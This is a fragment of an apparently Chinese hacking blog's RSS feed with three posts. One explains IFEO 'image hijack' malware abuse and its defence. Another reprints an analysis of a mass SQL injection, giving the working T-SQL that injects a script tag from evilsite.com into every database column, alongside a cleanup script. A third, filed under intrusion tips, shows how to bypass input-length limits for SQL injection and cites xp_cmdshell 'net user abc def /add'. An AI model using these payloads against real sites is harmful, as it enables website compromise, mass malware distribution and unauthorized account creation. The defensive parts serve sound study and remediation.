NT时代，系统使用一种早期的堆（Heap，由应用程序管理的内存区域）管理机制，使得一些程序的运行机制与现在的不同，而后随着系统更新换代，厂商修改了系统的堆管理机制，通过引入动态内存分配方案，让程序对内存的占用更为减少，在安全上也保护程序不容易被溢出，但是这些改动却导致了一些程序从此再也无法运作，为了兼顾这些出问题的程序，微软以&ldquo;从长计议&rdquo;的态度专门设计了&ldquo;IFEO&rdquo;技术，它的原意根本不是&ldquo;劫持&rdquo;，而是&ldquo;映像文件执行参数&rdquo;！<br />IFEO设定了一些与堆分配有关的参数，当一个可执行程序位于IFEO的控制中时，它的内存分配则根据该程序的参数来设定，那么如何使一个可执行程序位于IFEO的控制中呢？答案很简单，Windows NT架构的系统为用户预留了一个交互接口，位于注册表的&ldquo;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options&rdquo;内，使用与可执行程序文件名匹配的项目作为程序载入时的控制依据，最终得以设定一个程序的堆管理机制和一些辅助机制等，大概微软考虑到加入路径控制会造成判断麻烦与操作不灵活的后果，也容易导致注册表冗余，于是IFEO使用忽略路径的方式来匹配它所要控制的程序文件名，例如IFEO指定了对一个名为&ldquo;小金.EXE&rdquo;的可执行程序文件进行控制，那么无论它在哪个目录下，只要它名字还叫&ldquo;小金.EXE&rdquo;，它就只能在IFEO的五指山里打滚了。<br />说了半天都只是纯粹的概念，那么IFEO到底是怎么样发挥作用的呢？例如有一个程序文件名为&ldquo;lk007.exe&rdquo;，由于使用了旧的堆管理机制，它在新系统里无法正常运行甚至出现非法操作，为了让系统为其提供旧的堆管理机制，我们需要IFEO来介入，则需执行以下步骤：<br />1. 确保在管理员状态下执行regedit.exe，定位到以下注册表项：<br />HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options<br />2. 在&ldquo;Image File Execution Options&rdquo;下建立一个子键，名为&ldquo;lk007.exe&rdquo;，不区分大小写。现在确保位于HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\lk007.exe\下，建立一个字符串类型的注册表项，名为&ldquo;DisableHeapLookAside&rdquo;，值为&ldquo;1&rdquo;<br />3. 再次运行lk007.exe查看运行情况，如果真的是由于堆管理机制引发的问题，则程序得以正常运行，否则该程序问题不属于IFEO能够干涉的范围，或者需要尝试搭配其他的参数使用。<br /><br /><br />目前已知的IFEO参数有：<br />ApplicationGoo<br />Debugger<br />PageHeapFlags<br />DisableHeapLookAside<br />DebugProcessHeapOnly<br />PageHeapSizeRangeStart<br />PageHeapSizeRangeEnd<br />PageHeapRandomProbability<br />PageHeapDllRangeStart<br />PageHeapDllRangeEnd<br />GlobalFlag<br />BreakOnDllLoad<br />ShutdownFlags<br /><br />说白了，IFEO本质是系统厂商为某些可能以早期设计模式运行的软件提供一种保全措施而设计出来的产物，并对其加以扩充形成了一套可用于调试程序的简易方案，如&ldquo;BreakOnDllLoad&rdquo;参数可设定在载入某个DLL时设置断点，便于程序员调试ISAPI接口；带有&ldquo;Range&rdquo;字样的几个参数则用于限制堆的大小等。<br />而里面有一个导致了今天这种局面的参数：Debugger。或许微软当初的用意是便于程序员能够通过双击某个设置了IFEO控制列表的执行体文件来直接调用调试器对其进行调试，而不用再通过繁琐的打开调试器再进行文件载入来实现调试，提高了工作效率。<br />为了使得IFEO能够影响到任何一个程序启动请求，NT架构中将IFEO的优先权设置得很高，基本上，当用户要求执行某个程序时，系统首先判断该程序文件是否可执行体，然后就到IFEO的入口项进行文件名配对了，直到通过IFEO这一步后，进程才真正开始申请内存创建起来。<br />如果系统在IFEO程序列表里匹配了当前运行的文件名，它就会读取文件名下的参数，这些参数在未被人为设置之前均有个默认值，而且它们也具备优先权，&ldquo;Debugger&rdquo;的优先权是最高的，所以它是第一个被读取的参数，如果该参数未被设置，则默认不作处理，如果设置了这个参数，情况就变得复杂了&hellip;&hellip;<br /><br /><br /><br />三. 罪魁祸首&ldquo;Debugger&rdquo;<br />前面一章里大家应该都了解IFEO的本质了，从实际现象来说，把IFEO直接称为&ldquo;映像劫持&rdquo;未免有点冤枉它了，因为里面大部分参数并不会导致今天这种局面的发生，惹祸的参数只有一个，那就是&ldquo;Debugger&rdquo;，将IFEO视为映像劫持，大概是因为国内一些人直接套用了&ldquo;Image File Execution Options&rdquo;的缩写罢，在相对规范的来自Sysinternals的专业术语里，利用这个技术的设计漏洞进行非法活动的行为应该被称为&ldquo;Image Hijack&rdquo;，这才是真正字面上的&ldquo;映像劫持&rdquo;！<br />Debugger参数，直接翻译为&ldquo;调试器&rdquo;，它是IFEO里第一个被处理的参数，其作用是属于比较匪夷所思的，系统如果发现某个程序文件在IFEO列表中，它就会首先来读取Debugger参数，如果该参数不为空，系统则会把Debugger参数里指定的程序文件名作为用户试图启动的程序执行请求来处理，而仅仅把用户试图启动的程序作为Debugger参数里指定的程序文件名的参数发送过去！光是这个概念大概就足够一部分人无法理解了，所以我们放简单点说，例如有两个客人在一起吃自助餐，其中一个客人（用户）委托另一个客人（系统）去拿食物时顺便帮自己带点食物回来（启动程序的请求），可是系统在帮用户装了一盘子食物并打算回来时却发现另一桌上有个客人（Debugger参数指定的程序文件）居然是自己小学里的暗恋对象！于是系统直接端着原本要拿给用户的食物放到那桌客人那里共同回忆往事去了（将启动程序请求的执行文件映像名和最初参数组合转换成新的<span style="CURSOR: pointer; BORDER-BOTTOM: #fa891b 1px solid">命令</span>行参数&hellip;&hellip;），最终吃到食物的自然就是Debugger客人（获得命令行参数），至此系统就忙着执行Debugger客人的启动程序请求而把发出最初始启动程序请求的用户和那盘食物（都送给Debugger客人做命令行参数了）给遗忘了。<br />在系统执行的逻辑里，这就意味着，当一个设置了IFEO项Debugger参数指定为&ldquo;notepad.exe&rdquo;的&ldquo;iexplore.exe&rdquo;被用户以命令行参数&ldquo;-nohome bbs.nettf.net&rdquo;请求执行时，系统实际上到了IFEO那里就跑去执行notepad.exe了，而原来收到的执行请求的文件名和参数则被转化为整个命令行参数&ldquo;C:\Program Files\Internet Explorer\IEXPLORE.EXE - nohome bbs.nettf.net&rdquo;来提交给notepad.exe执行，所以最终执行的是&ldquo;notepad.exe C:\Program Files\Internet Explorer\IEXPLORE.EXE - nohome bbs.nettf.net&rdquo;，即用户原来要执行的程序文件名iexplore.exe被替换为notepad.exe，而原来的整串命令行加上iexplore.exe自身，都被作为新的命令行参数发送到notepad.exe去执行了，所以用户最终看到的是记事本的界面，并可能出现两种情况，一是记事本把整个iexplore.exe都作为文本读了出来，二是记事本弹出错误信息报告&ldquo;文件名不正确&rdquo;，这取决于iexplore.exe原来是作为光杆司令状态请求执行（无附带运行命令行参数）的还是带命令行参数执行的。<br />Debugger参数存在的本意是为了让程序员能够通过双击程序文件直接进入调试器里调试自己的程序，曾经调试过程序的朋友也许会有一个疑问，既然程序启动时都要经过IFEO这一步，那么在调试器里点击启动刚被Debugger参数送进来的程序时岂不是又会因为这个法则的存在而导致再次产生一个调试器进程？微软并不是傻子，他们理所当然的考虑到了这一点，因此一个程序启动时是否会调用到IFEO规则取决于它是否&ldquo;从命令行调用&rdquo;的，那么&ldquo;从命令行调用&rdquo;该怎么理解呢？例如我们在命令提示符里执行taskmgr.exe，这就是一个典型的&ldquo;从命令行调用&rdquo;的执行请求，而我们在点击桌面上、普通应用程序菜单里的taskmgr.exe时，系统都会将其视为由外壳程序Explorer.exe传递过来的执行请求，这样一来，它也属于&ldquo;从命令行调用&rdquo;的范围而触发IFEO规则了。为了与用户操作区分开来，系统自身加载的程序、调试器里启动的程序，它们就不属于&ldquo;从命令行调用&rdquo;的范围，从而绕开了IFEO，避免了这个加载过程无休止的循环下去。<br /><br /><br />从<span style="CURSOR: pointer; BORDER-BOTTOM: #fa891b 1px solid">编程</span>角度来说明&ldquo;命令行调用&rdquo;，那就是取决于启动程序时CreateProcess是使用lpCommandLine（命令行）还是lpApplicationName（程序文件名）来执行，默认情况下大部分程序员编写的调用习惯是lpCommandLine&mdash;&mdash;命令行调用<br /><br />BOOL CreateProcess<br />(<br />LPCTSTR lpApplicationName, <br />LPTSTR lpCommandLine, <br />LPSECURITY_ATTRIBUTES lpProcessAttributes。<br />LPSECURITY_ATTRIBUTES lpThreadAttributes, <br />BOOL bInheritHandles, <br />DWORD dwCreationFlags,<br />LPVOID lpEnvironment, <br />LPCTSTR lpCurrentDirectory, <br />LPSTARTUPINFO lpStartupInfo, <br />LPPROCESS_INFORMATION lpProcessInformation <br />);<br /><br /><br />由于Debugger参数的这种特殊作用，它又被称为&ldquo;重定向&rdquo;（Redirection），而利用它进行的攻击，又被称为&ldquo;重定向劫持&rdquo;（Redirection Hijack），它和&ldquo;映像劫持&rdquo;（Image Hijack，或IFEO Hijack）只是称呼不同，实际上都是一样的技术手段。<br />讲解完Debugger参数的作用，现在我们来看看&ldquo;映像劫持&rdquo;到底是怎么一回事，遭遇流行&ldquo;映像劫持&rdquo;病毒的系统表现为常见的杀毒软件、防火墙、安全检测工具等均提示&ldquo;找不到文件&rdquo;或执行了没有反应，于是大部分用户只能去重装系统了，但是有经验或者歪打正着的用户将这个程序改了个名字，就发现它又能正常运行了，这是为什么？答案就是IFEO被人为设置了针对这些流行工具的可执行文件名的列表了，而且Debugger参数指向不存在的文件甚至病毒本身！<br />以超级巡警的主要执行文件AST.exe为例，首先，有个文件名为kkk.exe的恶意程序向IFEO列表里写入AST.exe项，并设置其Debugger指向kkk.exe，于是系统就会认为kkk.exe是AST.exe的调试器，这样每次用户点击执行AST.exe时，系统执行的实际上是作为调试器身份的kkk.exe，至于本该被执行的AST.exe，此刻只能被当作kkk.exe的执行参数来传递而已，而由于kkk.exe不是调试器性质的程序，甚至恶意程序作者都没有编写执行参数的处理代码，所以被启动的永远只有kkk.exe自己一个，用户每次点击那些&ldquo;打不开&rdquo;的安全工具，实际上就等于又执行了一次恶意程序本体！这个招数被广大使用&ldquo;映像劫持&rdquo;技术的恶意软件所青睐，随着OSO这款超级U盘病毒与AV终结者（随机数病毒、8位字母病毒）这两个灭杀了大部分流行安全工具和杀毒软件的恶意程序肆虐网络以后，一时之间全国上下人心惶惶，其实它们最大改进的技术核心就是利用IFEO把自己设置为各种流行安全工具的调试器罢了，破解之道尤其简单，只需要将安全工具的执行文件随便改个名字，而这个安全工具又不在乎互斥量的存在，那么它就能正常运行了，除非你运气太好又改到另一个也处于黑名单内的文件名去了，例如把AST.exe改为IceSword.exe。<br /><br />小知识：互斥量<br />为了预防用户简单的更改一个文件名就使得大部分安全工具破笼而出，一些木马还同时采用了一种被称为&ldquo;互斥量&rdquo;的技术来彻底阻止安全工具运行。在系统里，有一类特殊的系统对象被称为&ldquo;互斥量&rdquo;（Mutex），它们的存在是为了减少系统开销而设，例如一些工具在运行时会检测是否已经有另一个自己的副本在运行，要做这种检测最有效率的方法就是在第一次运行时创建一个互斥量，以后再运行时检测即可，这实际上是很简单的方法，因为系统会为我们<span style="CURSOR: pointer; BORDER-BOTTOM: #fa891b 1px solid">保存</span>已经创建的互斥量，直到程序请求销毁互斥量，否则它将一直存在。这样一来，问题又出现了，如果恶意程序掌握了一些安全工具的互斥量并伪造呢？这些安全工具就会因为检测到&ldquo;自身已经运行&rdquo;而放弃继续执行的权利，恶意程序就没有克星了。<br /><br />而那些双击时明明程序文件就在眼前，系统却报错说&ldquo;找不到文件&rdquo;，又是什么回事呢？这也是IFEO的另一种应用罢了，其秘诀是将Debugger参数指向一个不存在的文件位置，这样系统就会因为找不到这个调试器而无法顺利执行下去，如果系统老老实实报出&ldquo;找不到调试器&rdquo;的错误提示那倒还好了，但就不知道微软是出于对IFEO这个东西存在的事实掩盖还是什么苦衷，却死活不肯承认是Debugger指向的调试器不存在导致的错误，而是把已经被&ldquo;变异&rdquo;成为命令行参数无法进入系统创建进程机制的原执行请求作为&ldquo;找不到的文件&rdquo;给报了回去，于是未曾了解过IFEO的用户只能莫名其妙的看着眼前就存在而系统&ldquo;不承认&rdquo;的安全工具发愣了。<br /><br />作者：小金 转载请勿斩首，谢谢<br /><br />四. 防范&ldquo;映像劫持&rdquo;<br />好了，前面说了这么多，大概又吓得一批人开始冒冷汗了吧，我们现在就来学习如何防范和破解&ldquo;映像劫持&rdquo;。<br /><br /><br />判断你的机器是否被劫持<br />最简单的方法是逐个运行你常用的安全工具，检查是否出现&ldquo;无法找到文件&rdquo;或者干脆直接没了反应的，当然，执行结果和预期差别太大的也要被怀疑为劫持，例如你执行IceSword.exe反而是你的QQ运行了，那就不必我多说了。<br />其实只要注册表编辑器regedit.exe、regedt32.exe没有被劫持，那我们直接用它进入&ldquo;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options&rdquo;这个注册表项并展开里面的子项列表一个个看下来确认是否出现Debugger参数或其他可能影响程序运行的堆管理参数，便可得知机器是否被劫持。<br />如果注册表编辑器被劫持了怎么办？直接改个名就能用了啊&hellip;&hellip;<br />更简单的方法，是使用Sysinternals的Autoruns，点击它的&ldquo;Image Hijacks&rdquo;选项卡，即可看到被劫持的程序项了。<br /><br />追查劫持来源<br />如果不幸你的机器上已经成为&ldquo;映像劫持&rdquo;的受害者，请记录好Debugger指向的程序位置，也不要试图再执行那些安全工具，首先应该尝试删除受影响的IFEO项，然后刷新注册表看看数据是否马上恢复了，如果马上恢复，则说明后台里有程序正在实时判断和写入IFEO，这时候必须拿出Sysinternals出品的注册表监控工具Regmon或类似工具，设置Filter为你正在尝试删除的安全工具的IFEO项，很快就能发现具体是什么进程在操作注册表了，然后将IceSword改名（如果已经被劫持），在它的进程列表里将相应进程终止掉。如果这个进程立即又重生了呢？再终止一次，然后迅速点击IceSword的&ldquo;监视进线程创建&rdquo;，你就能发现上一次捣乱的程序是什么名字了，将它记录下来，再开启一个Sysinternals的工具&ldquo;Process Explorer&rdquo;，在对应进程上点击右键选择&ldquo;Suspend&rdquo;，这个进程就会被挂起，用IceSword和它配合把相关恶意进程都挂起后，再使用IceSword的文件功能里的&ldquo;强制删除&rdquo;，在这个程序还没来得及反应时就把它们的本体给歼灭，这时候再返回Process Explorer里按照大小排列从最大的一个守护进程开始Kill Process即可，由于没有了映像文件存在，它们意欲重新建立木马帝国的贼心也就无法实现了。<br />如果查杀过程更为复杂的话，请自行参阅相关文章，这里就不再赘述了。<br /><br />如此实现&ldquo;免疫&rdquo;？不被推荐的做法<br />由于AV终结者搞得人心惶惶，一时间网络上开始流传&ldquo;免疫映像劫持&rdquo;甚至&ldquo;利用映像劫持免疫大部分常见病毒&rdquo;的做法，对于这些方法的最初提供者，我相信他们的出发点是好的，只是，从严格的角度来看，这却是不可取的。<br />首先是&ldquo;免疫映像劫持&rdquo;，具体的方法是，例如免疫威金病毒&ldquo;logo_1.exe&rdquo;，则在IFEO列表里建立一个&ldquo;logo_1.exe&rdquo;项，然后设定它的Debugger参数为它自身即&ldquo;logo_1.exe&rdquo;，根据原作者解释，其原理是递归死循环：&ldquo;当Debugger的值等于本身时，就是调用自身来调试自己，结果自己不是调试器，又来一次，递归了，就进入了死循环，也就不能启动了。&rdquo;<br />这种方法虽然有效（最后的现象是&ldquo;找不到文件&rdquo;），但是它会导致系统在短时间内陷入一个CreateProcess循环和命令参数的字符串累加状态，会消耗一定的资源，最终没能执行程序是因为系统使用CreateProcess启动的实例会被它自身代替执行，从而造成死循环，而且命令行的长度是有系统限制的，到一定范围就会出错了，尤其在可以接受命令行参数的程序里，你甚至会发现硬盘狂转了好一会儿才弹出错误提示，这段时间里就是在死循环传递状态了，最终由于超过系统限制的命令行长度而导致系统传递执行请求时出错，才得以跳出这个死循环，换一个角度来看，如果系统没有限制命令行长度，那么这个操作很可能直接导致系统所有资源都消耗在这个自己反复执行自己的&ldquo;调试器&rdquo;上了。<br />至于&ldquo;利用映像劫持免疫大部分常见病毒&rdquo;的做法，发起号召者模仿&ldquo;映像劫持&rdquo;后门屏蔽大部分常用安全工具的原理，搜集了许多流行危害程序的可执行文件名加以前面提到的递归死循环方法达到目的，如果不计较前面提到的递归死循环缺点，似乎这个方法是可行的。<br />然而这真的可行吗？世界上存在许多与某些系统文件同名同姓的社交型后门，如位置不同而名字相同的命令提示符<span style="CURSOR: pointer; BORDER-BOTTOM: #fa891b 1px solid">输入法</span>控制程序&ldquo;conime.exe&rdquo;（被OSO超级U盘病毒借用名字）、重要程序Rundll32.exe被某些木马替换为自身、甚至IE浏览器主体iexplore.exe也存在被木马伪造文件名的案例，如此一来不知道多少正常的系统程序可能会被这份&ldquo;免疫列表&rdquo;给误杀了，我仅仅粗略浏览了一下就发现msiexec.exe居然存在&ldquo;免疫列表&rdquo;中，要知道这可是微软安装程序的主执行体啊&hellip;&hellip;<br /><br />争议话题：是否禁止IFEO列表<span style="CURSOR: pointer; BORDER-BOTTOM: #fa891b 1px solid">权限</span>？<br />同时，网上还流传着一个让初级用户看不懂的做法，那就是关闭IFEO列表的写入权限，具体操作如下：<br />&bull;执行32位注册表编辑器regedt32.exe<br />&bull;定位到HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options<br />&bull;确保焦点在Image File Execution Options上，选择&ldquo;安全&rdquo;&mdash;&ldquo;权限&rdquo;<br />&bull;将出现的用户列表内所有带有&ldquo;写入&rdquo;的权限去掉，确定退出<br /><br />这样一来，任何对IFEO的写入操作都失效了，也就起了免疫效果。这个方法对一般用户而言还是不错的，除非遭遇到一些特殊的需要往里面写入堆管理参数的程序，否则我建议一般用户还是禁止此项，从而杜绝一切IFEO类病毒来袭。<br />而争议正在于此，因为从长计议来看，用户很可能会遇到需要往IFEO列表里写入数据的正常程序，彻底禁止了IFEO的写入可能会导致不可预见的后果，既然如此，我们就采取折中的方法好了，使用HIPS（主机入侵防御系统）的注册表防御体系RD（Registry Defend），为我们提供一种两者都能兼顾的IFEO管理方法！<br />以SSM为例，首先确保RD体系模块已经开启，然后添加新监视规则，&ldquo;键路径&rdquo;指向HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options，&ldquo;操作&rdquo;为&ldquo;当更改时报警&rdquo;，记得&ldquo;包含值&rdquo;选上，最后把&ldquo;子键深度最大值&rdquo;设为&ldquo;3&rdquo;，点击确定生成新的监视规则，然后在&ldquo;规则&rdquo;主界面里确保&ldquo;存取&rdquo;、&ldquo;删除&rdquo;、&ldquo;写入&rdquo;的操作均为疑问状态，这是表示在相关键值被进行写入操作时弹出消息询问用户，最后点击&ldquo;应用设定&rdquo;让规则生效，从此只需开着SSM，映像劫持就离你远去了。<br /><br /><br />五. 千篇一律的结语<br />道高一尺，魔高一丈，当几乎所有可能利用的启动项都被安全工具翻了个遍以后，与安全对立的技术也就不得不往上提高一个档次，于是无论什么歪门邪道的招数，只要能够被利用，哪怕它原意是好的，也会被改写定义，从这次的映像劫持事件可以看出，这个系统远远不如我们想像中那么容易被掌握，尤其对普通用户而言，这次技术的误用简直是他们的灭顶之灾！在安全技术与反安全技术斗争激烈的今天，我们用户越来越有在夹缝中生存的感觉了，当年轻松就可以得到的随便开多少个网页都不会带来一个病毒的日子早已远去，要想在这个疯狂的世界里得以保全，我们只能借助于各种工具的守护，和学习更多本来可以不用接触的安全知识，难道这真的要变成互联网的生存法则吗？<br /><br />=================================<br />后记：<br />发现一个有趣的现象，在百度上搜索映像劫持，会得到一堆结果返回的网页里都有这么一句话：<br /><br />映像劫持原理：<br />Windows NT系统在执行一个从命令行调用的可执行文件运行请求时，首先会检查这是否是一个可执行文件，如果是，又是什么格式的，然后就会检查是否存在。 <br /><br />这段话看着是不是莫名其妙？没头没尾的，经过我耐心查找，终于在一个角落找到了原始出处，感谢tombkeeper的撰文（节选）：<br /><br /><br />Windows NT系统在执行一个从命令行调用的可执行文件运行请求时，首先会检查这是否是一个可执行文件，如果是，又是什么格式的，然后就会检查是否存在：<br />[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ImageName]<br />如果存在，首先会试图读取这个键值：<br />[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ImageName]<br />&quot;Debugger&quot;=&quot;debug_prog&quot;<br />如果存在，就执行&ldquo;debug_prog ImageName&rdquo; <br /><br />很明显，被流传的&ldquo;原理&rdquo;来自tombkeeper的某篇文章中的前一段，或许抄袭者不明白后面接着的注册表键值是什么意思，有什么重要作用，就想当然的截断了，于是，这篇抄袭不完整的断章取义文章经过一传十，十传百的散播途径后，终于成为了铺天盖地的&ldquo;真理&rdquo;，也难怪那么多人对IFEO感觉很好奇，因为光看那些大部分文章都是只有这么一段的，不信大家可以找找&ldquo;IFEO&rdquo;关键字，看看里面对&ldquo;原理&rdquo;的描述，真无语了，哎&hellip;&hellip;]]></description>
		</item>
		    
		
		<item>
			<title>外国佬的注入技巧收集</title>
			<link>http://hackerkanger.blog.sohu.com/89897457.html</link>
			<comments>http://hackerkanger.blog.sohu.com/89897457.html#comment</comments>
			<dc:creator>特洛伊剑客's Blog</dc:creator>
			<pubDate>Thu, 12 Jun 2008 11:48:56 +0800</pubDate>
			<category>入侵技巧</category>
			<guid>http://hackerkanger.blog.sohu.com/89897457.html</guid>
			<description><![CDATA[<p>还好我的英文不错！否则还看不明白呢!呵呵！~~~文章写的不错！有兴趣的朋友不妨看看！！~~~</p>
<p>&nbsp;</p>
<p>&nbsp; </p>
<div style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px"><font style="FONT-SIZE: 14px; FONT-FAMILY: 宋体, Verdana, Arial, Helvetica, sans-serif">
<ol>
<li>
<h4>The attack is targeting Microsoft IIS web servers. Is it exploiting a Microsoft vulnerability?</h4>
</li><li>Yes and no. Web developers (or their employers who did not mandate proper security education) are to blame for each single infection, because the SQL injection exploited to infect the web sites is possible thanks to trivial coding errors.<br />That said, the attackers are targeting IIS web servers which run <b><font color="#ff8866">ASP</font></b> for a reason.<br />Crackers put together a clever SQL procedure capable of polluting any Microsoft SQL Server database in a generic way, with no need of knowing the specific table and fields layouts:<br /><code><br />DECLARE @T varchar(255), @C varchar(255);<br />DECLARE Table_Cursor CURSOR FOR<br />SELECT a.name, b.name<br />FROM sysobjects a, syscolumns b<br />WHERE a.id = b.id AND a.xtype = 'u' AND<br />(b.xtype = 99 OR<br />b.xtype = 35 OR<br />b.xtype = 231 OR<br />b.xtype = 167);<br />OPEN Table_Cursor;<br />FETCH NEXT FROM Table_Cursor INTO @T, @C;<br />WHILE (@@FETCH_STATUS = 0) BEGIN<br />EXEC(<br />'update [' + @T + '] set [' + @C + '] =<br />rtrim(convert(varchar,[' + @C + ']))+<br />''&lt;script src=http://evilsite.com/1.js&gt;&lt;/script&gt;'''<br />);<br />FETCH NEXT FROM Table_Cursor INTO @T, @C;<br />END;<br />CLOSE Table_Cursor;<br />DEALLOCATE Table_Cursor;<br /></code><br />This is the &ldquo;secret sauce&rdquo; which is allowing the attack to reach its impressive numbers, and <em>it works exclusively against Microsoft database technology</em> &mdash; but it&rsquo;s a feature, not a bug (no irony intended this time). Anyway, the chances for such &ldquo;powerful&rdquo; DB technology of being used in conjunction with web servers different than IIS are very low.<br />So, to recap: 
</li><li>There&rsquo;s no Microsoft-specific vulnerability involved: SQL injections can happpen (and do happen) on LAMP and other web application stacks as well. 
</li><li>SQL injections, and therefore these infections, are caused by poor coding practices during web site development. 
</li><li>Nonetheless, this <em>mass automated</em> epidemic is due to specific features of Microsoft databases, allowing the exploit code to be generic, rather than tailored for each single web site. <b><font color="#ffffff">Update</font></b>: more details in <b><font color="#ff8866">this comment</font></b>. 
</li><li>In my previous coverage of <b><font color="#ff8866">similar incidents</font></b> I also assumed a statistical/demographic reason for targeting IIS, since many ASP developers having a desktop Visual Basic background underwent a pretty traumatic migration to the web in the late 90s, and often didn&rsquo;t really grow enough security awareness to develop safe internet-facing applications. 
</li><li>
<h4>What should I do if I&rsquo;m the administrator of an infected site?</h4>
<p>First of all, you should call your web developers (or even better, someone who specializes in web application security) and require a full code review to find and fix the SQL injection bugs.<br />In the meanwhile you should either put your database offline or recover clean data from a backup, but until the code review is done be prepared to get compromised again. Deploying a web application firewall may mitigate the emergency, but you must understood it&rsquo;s a merely temporary work-around &mdash; the solution is fixing the code (learn from the <b><font color="#ff8866">United Nations tale</font></b>).<br />If you&rsquo;ve got no clean database backup, you could try to recover by brutally reversing the SQL attack:<br /><code><br />DECLARE @T varchar(255), @C varchar(255);<br />DECLARE Table_Cursor CURSOR FOR<br />SELECT a.name, b.name<br />FROM sysobjects a, syscolumns b<br />WHERE a.id = b.id AND a.xtype = 'u' AND<br />(b.xtype = 99 OR<br />b.xtype = 35 OR<br />b.xtype = 231 OR<br />b.xtype = 167);<br />OPEN Table_Cursor;<br />FETCH NEXT FROM Table_Cursor INTO @T, @C;<br />WHILE (@@FETCH_STATUS = 0) BEGIN<br />EXEC(<br />'update ['+@T+'] set ['+@C+'] = left(<br />convert(varchar(8000), ['+@C+']),<br />len(convert(varchar(8000), ['+@C+'])) - 6 -<br />patindex(''%tpircs&lt;%'',<br />reverse(convert(varchar(8000), ['+@C+'])))<br />)<br />where ['+@C+'] like ''%&lt;script%&lt;/script&gt;'''<br />);<br />FETCH NEXT FROM Table_Cursor INTO @T, @C;<br />END;<br />CLOSE Table_Cursor;<br />DEALLOCATE Table_Cursor;<br /></code><br />This SQL procedure walks through your tables and fields, just like its evil prototype, but rather than appending the malicious JavaScript with<br /><code><br />EXEC(<br />'update [' + @T + '] set [' + @C + '] =<br />rtrim(convert(varchar,[' + @C + ']))+<br />''&lt;script src=http://evilsite.com/1.js&gt;&lt;/script&gt;'''<br />);<br /></code><br />it locates and removes it with<br /><code><br />EXEC(<br />'update ['+@T+'] set ['+@C+'] = left(<br />convert(varchar(8000), ['+@C+']),<br />len(convert(varchar(8000), ['+@C+'])) - 6 -<br />patindex(''%tpircs&lt;%'',<br />reverse(convert(varchar(8000), ['+@C+'])))<br />)<br />where ['+@C+'] like ''%&lt;script%&lt;/script&gt;'''<br />);<br /></code><br />Notice that I&rsquo;ve not tested my code above, and I&rsquo;m just providing it as a courtesy: use it at your own risk, after doing a backup of your data.<br /><b><font color="#ffffff">Update</font></b>: now it&rsquo;s debugged and &ldquo;tested&rdquo; (i.e. it works) on SQL Server 2005 (thanks <b><font color="#ff8866">Scott</font></b>), but the <em>&ldquo;use it at your own risk&rdquo;</em> disclaimer still applies.</p></li></ol></font></div>]]></description>
		</item>
		    
		
		<item>
			<title>突破SQL注入攻击时输入框长度的限制</title>
			<link>http://hackerkanger.blog.sohu.com/89630406.html</link>
			<comments>http://hackerkanger.blog.sohu.com/89630406.html#comment</comments>
			<dc:creator>特洛伊剑客's Blog</dc:creator>
			<pubDate>Mon, 9 Jun 2008 09:54:08 +0800</pubDate>
			<category>入侵技巧</category>
			<guid>http://hackerkanger.blog.sohu.com/89630406.html</guid>
			<description><![CDATA[<div>前天TK研究的一个网页改COOKIE的小玩意儿给我了一点点灵感 <br />昨晚又和adam聊了聊SQL注入,今早上来就写了这篇东东. <br />xp_cmdshell 'net user abc def /add'这些命令大家想必都用烂了 <br />吧,但是在实际的测试中我们常常会遇到这样的情况,服务器的asp <br />脚本没有对用户的输入做限制,但是在网页上通过对输入框设置maxlength <br />属性使我们的很多攻击就不能进行. <br />有些人可能会想到把网页考到本地,然后本地提交但是有一个 <br />问题是有的网站通过简单的比较HTTP_REFERER和SERVER_NAME的值就可以 <br />防止. <br />好了很多人没办法了吧,除了写SOCKET程序改变HTTP_REFERER还有一个更 <br />简单的办法. <br /><br />------------len.reg----------------- <br /><br />
<div>Windows Registry Editor Version 5.00 <br /><br />[HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\MenuExt\扩展(&amp;E)] <br />@=&quot;C:\\Documents and Settings\\Administrator\\桌面\\len.htm&quot; <br />&quot;contexts&quot;=dword:00000004 </div><br /><br />-----------end---------------------- <br /><br />-----------len.htm---------------- <br /><br />
<div>&lt;script language=vbs&gt; <br />set srcevent = external.menuarguments.event <br />set doc=external.menuarguments.document <br />set ele=doc.elementfrompoint( srcevent.clientx, srcevent.clienty ) <br />if ele.type =&quot;text&quot; or ele.type=&quot;password&quot; then <br />ele.maxlength=200 <br />ele.size=200 <br />end if <br />&lt;/script&gt; </div><br /><br />----------end----------------------- <br /><br />用法:先把len.reg导入注册表(注意文件路径) <br />然后把len.htm拷到注册表中指定的地方. <br />打开网页,光标放在要改变长度的输入框上点右键,看多了一个叫扩展的选项了吧 <br />单击搞定! <br /><br />后记:同样的也就可以对付那些限制输入内容的脚本了. <br /><br />附:防止本地提交的ASP代码. <br /><br />
<div>&lt;% <br />server_v1=Cstr(Request.ServerVariables(&quot;HTTP_REFERER&quot;)) <br />server_v2=Cstr(Request.ServerVariables(&quot;SERVER_NAME&quot;)) <br />if mid(server_v1,8,len(server_v2))&lt;&gt;server_v2 then <br />response.write &quot;&lt;br&gt;&lt;br&gt;&lt;center&gt;&lt;table border=1 cellpadding=20 bordercolor=black bgcolor=#EEEEEE width=450&gt;&quot; <br />response.write &quot;&lt;tr&gt;&lt;td style='font:9pt Verdana'&gt;&quot; <br />response.write &quot;你提交的路径有误，禁止从站点外部提交数据请不要乱该参数！&quot; <br />response.write &quot;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/center&gt;&quot; <br />response.end <br />end if <br />%&gt;</div></div>]]></description>
		</item>
		    
		
	</channel>
</rss>
